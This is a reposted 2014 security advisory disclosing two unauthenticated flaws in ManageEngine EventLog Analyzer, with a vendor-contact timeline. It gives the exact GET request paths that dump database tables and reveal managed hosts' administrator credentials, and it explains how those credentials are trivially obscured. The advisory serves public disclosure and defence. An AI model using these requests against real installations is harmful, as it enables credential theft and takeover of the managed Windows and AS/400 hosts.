ManageEngine EventLog Analyzer SQL / Credential Disclosure

2014-11-06T00:00:00
ID PACKETSTORM:128996
Type packetstorm
Reporter Pedro Ribeiro
Modified 2014-11-06T00:00:00

Description

                                        
                                            `Hi,  
  
This is the 6th part of the ManageOwnage series. For previous parts see [1].  
  
This time we have two 0 day vulns (CVE-2014-6038 and 6039) that can be  
abused to dump information from the database and obtain the superuser  
credentials for Windows and AS/400 hosts which are managed by EventLog  
Analyzer. A Metasploit module has also been released and should be  
integrated in the framework in the next few days [2].  
  
I'm releasing these as a 0 day since it's been 70 days since I  
informed ManageEngine of this vulnerability and they have been  
twiddling their thumbs ever since. The last update I got was that they  
were "working on fixing it but couldn't commit to a date; the  
tentative date is end of the year".  
Since they have been vulnerable to a more serious remote code  
execution 0 day for 67 days now (see [3]), I'm not holding this any  
longer.  
  
Details and timeline of disclosure are below, and a copy of this  
advisory can be found at my repo [4].  
  
Regards,  
Pedro  
  
>> Multiple vulnerabilities in ManageEngine EventLog Analyzer  
>> Discovered by Pedro Ribeiro (pedrib@gmail.com), Agile Information Security  
==========================================================================  
Disclosure: 05/11/2014 / Last updated: 05/11/2014  
  
>> Background on the affected product:  
"EventLog Analyzer provides the most cost-effective Security  
Information and Event Management (SIEM) software on the market. Using  
this Log Analyzer software, organizations can automate the entire  
process of managing terabytes of machine generated logs by collecting,  
analyzing, correlating, searching, reporting, and archiving from one  
central location. This event log analyzer software helps to monitor  
file integrity, conduct log forensics analysis, monitor privileged  
users and comply to different compliance regulatory bodies by  
intelligently analyzing your logs and instantly generating a variety  
of reports like user activity reports, historical trend reports, and  
more."  
  
A Metasploit exploit that abuses these two vulnerabilities to obtain  
the managed device superuser credentials has been released.  
  
#1  
Vulnerability: SQL database information disclosure (read any table in  
the database)  
CVE-2014-6038  
Constraints: none; no authentication or any other information needed.  
On v7 the url has to be prepended with /event/.  
Affected versions: all versions from v7 to v9.9 build 9002.  
  
GET /agentHandler?mode=getTableData&table=[tableName]  
GET /agentHandler?mode=getTableData&table=AaaUser --> user logins  
GET /agentHandler?mode=getTableData&table=AaaPassword --> user  
passwords (MD5 hashed) and salts  
GET /agentHandler?mode=getTableData&table=AaaPasswordHint --> user  
password hints  
GET /agentHandler?mode=getTableData&table=HostDetails --> Windows /  
AS/400 managed hosts Administrator usernames and passwords (XOR'ed  
with 0x30)  
  
  
#2  
Vulnerability: Windows / AS/400 managed hosts Administrator  
credentials disclosure  
CVE-2014-6039  
Constraints: none; no authentication or any other information needed.  
On v7 the url has to be prepended with /event/.  
Affected versions: all versions from v7 to v9.9 build 9002.  
  
GET /hostdetails?slid=X&hostid=Y  
GET /hostdetails?slid=1&hostid=1 --> Windows / AS/400 hosts superuser  
username and password (XOR'ed with 0x30 and base64 encoded)  
  
  
>> Fix:  
UNFIXED - ManageEngine failed to take action after 70 days.  
  
Timeline of disclosure:  
28/08/2014  
- Requested contact to email via ManageEngine Security Response Center  
- Received email from support and sent details about the  
vulnerabilities above and a third vulnerability (remote code execution  
via file upload).  
  
28/08/2014  
- ManageEngine acknowledge the receipt and promise to keep me informed  
of the progress.  
  
31/08/2014  
- hong10 releases details about the remote code execution via file  
upload vulnerability which I had discovered. Apparently he discovered  
and communicated it to ManageEngine over a year ago and no action had  
been taken (see http://seclists.org/fulldisclosure/2014/Aug/86).  
- I ask ManageEngine why I hadn't been informed that one of my  
vulnerabilities had already been disclosed to them over a year ago.  
They respond with "We appreciate your efforts and will fix your  
vulnerabilities, please bear with us".  
- With hong10's support, I release an exploit for the remote code  
execution vulnerability (see  
http://seclists.org/fulldisclosure/2014/Aug/88). I also remove the  
vulnerability information from this report since it has already been  
discovered and disclosed by hong10.  
  
11/09/2014  
- Asked for an update on progress. Received a response a day after  
"the development team will include the fix in our next release".  
  
13/10/2014  
- Asked for an update on progress. No response.  
  
17/10/2014  
- Informed ManageEngine that will release details and an exploit the  
next day if no reply is received.  
  
19/10/2014  
- Attempted escalation via the project manager for Desktop Central.  
EventLog support team replies on the next day apologising for not  
responding and saying will get back to me as soon as possible.  
  
05/11/2014  
- Informed EventLog support that would release details and exploit  
today. Received reply stating "we are working on this but cannot  
commit to a date; the new version has a tentative release date of end  
of quarter".  
- Released advisory and exploit 70 days after initial contact  
(interesting fact: it's been 67 days since the release of my exploit  
for hong10's vulnerability and EventLog Analyzer is still vulnerable  
to remote code execution).  
  
  
[1]  
http://seclists.org/fulldisclosure/2014/Aug/55  
http://seclists.org/fulldisclosure/2014/Aug/75  
http://seclists.org/fulldisclosure/2014/Aug/88  
http://seclists.org/fulldisclosure/2014/Sep/1  
http://seclists.org/fulldisclosure/2014/Sep/110  
  
[2]  
https://github.com/rapid7/metasploit-framework/pull/4137  
  
[3]  
http://seclists.org/fulldisclosure/2014/Aug/88  
  
[4]  
https://raw.githubusercontent.com/pedrib/PoC/master/ManageEngine/me_eventlog_info_disc.txt  
`